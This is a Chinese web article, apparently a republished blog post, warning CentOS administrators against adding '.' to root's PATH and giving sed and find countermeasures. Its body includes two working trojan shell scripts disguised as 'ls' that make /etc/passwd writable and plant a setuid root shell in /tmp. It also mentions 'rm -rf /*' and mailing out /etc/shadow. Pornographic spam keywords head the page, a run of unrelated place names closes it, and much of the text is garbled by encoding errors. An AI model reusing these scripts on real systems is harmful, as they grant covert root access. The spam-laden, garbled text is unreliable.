最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

centos環(huán)境變量如何設置安全問題?

  發(fā)布時間:2017-01-13 15:45:50   作者:佚名   我要評論
很多朋友不知道centos環(huán)境變量如何設置安全問題?今天小編將為大家?guī)韈entos 環(huán)境變量設置安全問題;希望對大家會有幫助,有需要的朋友一起去看看吧

.是代表當前目錄。如果將這點寫入root的環(huán)境變量,執(zhí)行腳本時,你只需要打腳本的名字,系統(tǒng)就會在當前的目錄下找該腳本并執(zhí)行。

例如,一個U盤插入電腦,你打了一個文件名字,系統(tǒng)就會執(zhí)行U盤中的該文件,如果有木馬程序,也會被執(zhí)行,比如腳本中有rm -rf /* 這樣的命令,你的系統(tǒng)就會被刪除。

設想一下,有一個人在一個他能寫的目錄下寫了一個名為ls的可執(zhí)行程序,程序會把/etc/shadow文件發(fā)送到某一郵箱,而root又恰巧在那個目錄下,想ls下,結果是什么呢?

所以,很多安全要求高的Unix系統(tǒng)甚至要求用絕對路徑調(diào)用命令

本文主要講述“.”在LINUX的環(huán)境變量PATH中所帶來的問題,及解決的幾種方法。

正如很多人所知道的$PATH環(huán)境變量里存著一張目錄列表,當用戶要執(zhí)行某一程序時,系統(tǒng)就會按照列表中的內(nèi)容去查找該程序的位置。當程序名前不帶點斜線 . / 時$PATH就會起作用。

對于普通用戶和root用戶$PATH里默認是不包含"."來指定用戶的當前目錄。這在本機進行腳本開發(fā)的程序員來說卻不方便,想圖省事的人就把點加到了搜索路徑中,這就等于在你的系統(tǒng)埋下了險情。

例如:root為了方便使用在他的當前路徑末尾加了個點"."(搜索目錄為代表當前目錄)

命令操作如下:

[root@rh root]# PATH=$PATH:.

[root@rh root]# echo $PATH

/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

這下是方便了,直接輸入腳本名就能執(zhí)行。OK,正常情況下一點問題沒有,也省去了輸入./foo.sh的煩惱(foo.sh是我假設的腳本文件名)。有的root把PATH=$PATH:.這條命令加到了profile里,使所有用戶到分享你給他們帶來的"福音"。更有勝者root用戶竟然PATH=.:$PATH(將":"加到路徑前是另一種形式)。正常請況下一點問題沒有,直到有一天,張三用戶在他的主目錄下放了名為lls的腳本,并對root說他的系統(tǒng)出問題了希望root能幫他解決。(其實是一個trap)。Root一上來就su 成管理員權限,緊更著列了一下目錄。有可能管理員誤敲成了lls,結果哈哈。。。。

以下是個簡單的C shell 的例子

#!/bin/csh

If ( ! -o /bin/su )

goto finish

cp /bin/sh /tmp/.sh

chmod 7777 /tmp/.sh

finish :

exec /bin/ls $argv | grep -v ls

稍微變形就有個B shell的

#!/bin/sh

if chmod 666 /etc/passwd > /dev/null 2>&1 ;then

cp /bin/sh /tmp/.sh

chmod 4755 /tmp/.sh

fi

exec ls "$@"

如果root將其環(huán)境變量$PATH包含了"."并且其位置先與ls所在的系統(tǒng)目錄,那么當用戶在/tmp中執(zhí)行l(wèi)s時,執(zhí)行的是上面給出的腳本,而不是實際的ls命令,因為最終還是執(zhí)行了ls,所以root不會看出有任何異常。如果是root執(zhí)行了該腳本,就會將口令文件設置為可寫,并將shell復制到/tmp保存為.sh,同時設置其setuserid位,所有這一切都非常安靜地發(fā)生。

在以上這兩個程序里,心懷不鬼的人能寫入任何令root急的要跳樓的程序,部下陷阱等root來鉆,也許root在不知不覺中施行了也根本不會察覺。 也許在張三的主目錄下有一個名為ps的腳本里面包含有危險腳本,root可能一到他的機器前就輸入了ps,此時系統(tǒng)會首先到當前目錄下搜索,結果/sbin/ps卻不被執(zhí)行。類似這樣的小花招還有很多。

管理員同志,不要太緊張,下面我說說解決辦法。

首先,要養(yǎng)成輸絕對路徑的良好命令行輸入習慣,這樣就不會讓"不法份子"乘虛而入了。比如,列目錄最好用/bin/ls來列目錄,不要圖方便而冒然輸入ls。

其次,根用戶(root)不要把"."包括到搜索目錄列表里,而普通用戶如果個"."包括到搜索列表中的話別,則"."就應當放在搜索目錄列表的最后位置上。這樣一來普通用戶不會受到前面所述的那種危害。

最后,可以在登陸時在/etc/profile 和bashrc .profile文件的末尾添加如下一行

[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

這個簡單的sed命令將刪除路徑里所有的"."包括其另一形式"::"

還可以由crontab調(diào)用定期執(zhí)行

#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt

來搜索所有以點開頭的文件,再發(fā)送到root的郵箱里,再進行比較等任務。

相關文章

  • CentOS 添加環(huán)境變量的三種方法(圖文教程)

    有用戶反映不知道如何在CentOS環(huán)境下添加環(huán)境變量,其實方法很簡單的,下面小編就為大家介紹三種CentOS添加環(huán)境變量上網(wǎng)方法,希望可以幫助到大家
    2016-11-09
  • centos yum只更新安全補丁操作

    今天小編為大家?guī)淼氖莄entos yum只更新安全補丁操作;希望可以幫助到大家;有需要的朋友可以過來看看
    2016-12-11
  • CentOS VPS入手后的基本優(yōu)化和安全配置

    這篇文章主要介紹了CentOS VPS入手后的基本優(yōu)化和安全配置,本文涉及升級防火墻策略、刪除不用的應用、清理不需要的用戶和用戶組、更改時區(qū)等方面,需要的朋友可以參考下
    2014-12-30
  • CentOS 6.5服務器安全加固及性能優(yōu)化

    這篇文章為大家介紹下通過調(diào)整系統(tǒng)參數(shù)來提高系統(tǒng)內(nèi)存、CPU、內(nèi)核資源的占用,通過禁用不必要的服務、端口,來提高系統(tǒng)的安全性,更好的發(fā)揮系統(tǒng)的可用性。通過自己對Linux
    2014-03-18
  • CentOS 6 的安全配置(CentOS Linux服務器安全設置)

    CentOS服務器得到了很多的網(wǎng)友的擁護。如何設置CentOS服務器的安全性呢?下面,就從以下幾個方面說說centos 6的安全設置:系統(tǒng)安全記錄文件、啟動和登錄安全性、限制網(wǎng)絡訪
    2012-11-06
  • CentOS系統(tǒng)環(huán)境精簡優(yōu)化詳解

    今天小編將為大家?guī)硗ㄟ^6步驟,完成對centos精簡和優(yōu)化講解。希望對大家會帶來幫助,有需要的朋友一起去看看吧
    2017-01-08
  • centos如何安裝桌面環(huán)境?centos安裝桌面環(huán)境的方法

    默認最小化安裝,或者因為需要,在安裝系統(tǒng)的時候沒有安裝桌面組建,一些朋友不知道centos如何安裝桌面環(huán)境?今天小編為大家?guī)砹薱entos安裝桌面環(huán)境的方法;有需要的朋友
    2016-12-16
  • CentOS 6.3下安裝部署CHEF環(huán)境教程

    這篇文章主要介紹了CentOS 6.3下安裝部署CHEF環(huán)境教程,Chef是由Ruby與Erlang寫成的配置管理軟件,它以一種純Ruby的領域專用語言(DSL)保存系統(tǒng)配置“食譜(recipes)”或“做飯
    2014-09-10
  • CentOS 6.2系統(tǒng)安裝和基本軟件環(huán)境配置

    這兩天在整公司出問題的服務器,順手記錄了以下過程,供以后參考,也可以供大家學習參考
    2013-12-03
  • CentOS搭建LAMP服務器環(huán)境硬盤分區(qū)方案分享

    我們在使用Linux作為服務器的過程中,經(jīng)常會對硬盤中分區(qū)如何更合理的分配而感覺疑惑,特別是剛開始接觸Linux的朋友,對于服務器中硬盤空間各分區(qū)的合理分配,心中也沒有底
    2013-06-07

最新評論

黑河市| 井冈山市| 左贡县| 淮滨县| 微山县| 娄底市| 东阿县| 左贡县| 南汇区| 拜泉县| 隆德县| 增城市| 天津市| 许昌市| 芷江| 怀远县| 连云港市| 广南县| 黔西| 德惠市| 古田县| 察隅县| 武平县| 开江县| 江安县| 庆阳市| 峨眉山市| 和平县| 沂南县| 潮州市| 于田县| 永善县| 荣成市| 临武县| 社旗县| 正蓝旗| 雷山县| 临泉县| 嘉荫县| 汶上县| 西林县|